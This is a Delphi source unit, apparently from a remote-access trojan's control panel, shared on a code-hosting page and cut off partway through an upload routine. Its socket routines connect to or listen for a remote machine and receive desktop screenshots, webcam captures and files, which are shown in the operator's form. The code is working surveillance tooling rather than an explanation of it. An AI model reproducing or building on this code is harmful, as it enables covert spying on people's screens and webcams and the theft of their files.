📄 dm5314_uexplorer.pas
字号:
unit DM5314_UExplorer;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,WinSock,DM5314_UCommandsAndUtils;
procedure Init_Winsock ();
procedure CleanUP_winsock();
procedure ICDownloadFile(SaveFile : string; Port : string);
procedure ICUploadFile ( OpenFile : string; Port : string );
function DownloadDataListen(SaveFile : string; Port : string):string;
Function DownloadDataConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
procedure GetUpload(OpenFile : String;Ipadress : string; port : string) ;
procedure GetDownload(SaveFile : string ;Ipadress : string; port : string) ;
function DownloadScreenShotConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
procedure DownloadScreenshotListen(SaveFile : string; Port : string);
procedure TypeofCapture (value : integer);
var
wsa_Data : WSADATA;
nErrorStatus : integer;
Abortar : Boolean = FALSE;
HorzRes, VertRes: Word;
TypeCapture : integer;
implementation
uses Mainform,UfrmCapture;
procedure TypeofCapture (value : integer);
begin
TypeCapture :=value;
end;
procedure GetResJpg(JPGFile: string);
const
BufferSize = 50;
var
Buffer: string;
Index: integer;
FileStream: TFileStream;
DP: Byte;
Measure: string;
begin
FileStream := TFileStream.Create(JPGFile,
fmOpenReadWrite);
try
SetLength(Buffer, BufferSize);
FileStream.Read(buffer[1], BufferSize);
Index := Pos('JFIF' + #$00, buffer);
if Index > 0 then
begin
FileStream.Seek(Index + 6, soFromBeginning);
FileStream.Read(DP, 1);
case DP of
1: Measure := 'DPI'; //Dots Per Inch
2: Measure := 'DPC'; //Dots Per Cm.
end;
FileStream.Read(HorzRes, 2); // x axis
HorzRes := Swap(HorzRes);
FileStream.Read(VertRes, 2); // y axis
VertRes := Swap(VertRes);
end
finally
FileStream.Free;
end;
end;
function DownloadScreenShotConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
BytesRead, sinsize : Integer;
client : TSocket;
a : THandle;
Buffer : array [ 1..2048 ] of Char;
BytesWrite : DWORD;
FileStatus : Boolean;
Data : string;
begin
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
end;
if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
halt;
end;
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(strtoint(PORT));
addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
//messagebox(0,'dddddddddddd','ddddddddd',0);
end;
BytesWrite := 0;
try
a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
except
CloseSocket(Client );
Exit;
end;
repeat BytesRead := Recv( client, Buffer, SizeOf( Buffer ), 0 );
FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
if TypeCapture=0 then begin
frmMain.ProgressBarDesk.Position:=frmMain.ProgressBarDesk.Position + 2;
end
else
begin
frmMain.ProgressBarCam.Position:=frmMain.ProgressBarCam.Position + 2;
end;
Data:=Data + Buffer ;
until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
CloseHandle( a );
try CloseSocket( client ); except end;
Abortar := FALSE;
if TypeCapture=0 then begin
if FileExists('Screenshots\desk.jpg') then begin
frmMain.ProgressBarDesk.position:=frmMain.ProgressBarDesk.Max;
frmMain.ImgScreenshot.Picture.LoadFromFile(GetLocalPath +'Screenshots\desk.jpg');
end;
end
else
begin
if FileExists('Screenshots\cam.jpg') then begin
frmMain.ProgressBarCam.position:=frmMain.ProgressBarCam.Max;
frmMain.ImgWebcam.Picture.LoadFromFile(GetLocalPath +'Screenshots\cam.jpg');
end;
end;
result:=Data;
end;
procedure DownloadScreenshotListen(SaveFile : string; Port : string);
var addr : TSockAddrIn;
BytesRead, sinsize : Integer;
sock, cliente : TSocket;
a : THandle;
Buffer : array [ 1..2048 ] of Char;
BytesWrite : DWORD;
FileStatus : Boolean;
begin
addr.sin_family := AF_INET;
addr.sin_port := htons(strtoint(PORT));
addr.sin_addr.S_addr := INADDR_ANY;
//Abre el socket
sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
Exit;
if Listen(sock, 1) = SOCKET_ERROR then
Exit;
//Espera una conexion
sinsize := SizeOf( addr );
cliente := Accept( sock, @addr, @sinsize );
BytesWrite := 0;
try
a := CreateFile( PChar( SaveFile ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
// Server_Send('9^Uploading File: ' + GetFileName(SaveFile)+ '^');
except
CloseSocket( sock );
Exit;
end;
repeat BytesRead := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
if TypeCapture=0 then begin
frmMain.ProgressBarDesk.Position:=frmMain.ProgressBarDesk.Position + 2;
end
else
begin
frmMain.ProgressBarCam.Position:=frmMain.ProgressBarCam.Position + 2;
end;
until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
CloseHandle( a );
try CloseSocket( cliente ); except end;
try CloseSocket( sock ); except end;
Abortar := FALSE;
if TypeCapture=0 then begin
if FileExists('Screenshots\desk.jpg') then begin
frmMain.ProgressBarDesk.position:=frmMain.ProgressBarDesk.Max;
frmMain.ImgScreenshot.Picture.LoadFromFile(GetLocalPath +'Screenshots\desk.jpg');
end;
end
else
begin
if FileExists('Screenshots\cam.jpg') then begin
frmMain.ProgressBarCam.position:=frmMain.ProgressBarCam.Max;
frmMain.ImgWebcam.Picture.LoadFromFile(GetLocalPath +'Screenshots\cam.jpg');
end;
end;
end;
procedure GetDownload(SaveFile : string ;Ipadress : string; PORT : string) ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
BytesRead, sinsize : Integer;
client : TSocket;
a : THandle;
Buffer : array [ 1..2048 ] of Char;
BytesWrite : DWORD;
FileStatus : Boolean;
begin
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
end;
if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
halt;
end;
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(strtoint(PORT));
addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
//messagebox(0,'dddddddddddd','ddddddddd',0);
end;
BytesWrite := 0;
try
a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
except
CloseSocket(Client );
Exit;
end;
repeat BytesRead := Recv( client, Buffer, SizeOf( Buffer ), 0 );
FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
frmMain.ProgressBarExplorer.Position:=frmMain.ProgressBarExplorer.Position+ 2;
until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
CloseHandle( a );
try CloseSocket( client ); except end;
Abortar := FALSE;
end;
procedure GetUpload(OpenFile : String;Ipadress : string; PORT : string) ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
sinsize : Integer;
sock, client : TSocket;
a : THandle;
Archivo : THandle;
Buffer : array [ 1..1024 ] of Char;
FileStatus : Boolean;
BytesRead : DWord;
Error : Boolean;
size : longint ;
f : file ;
begin
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -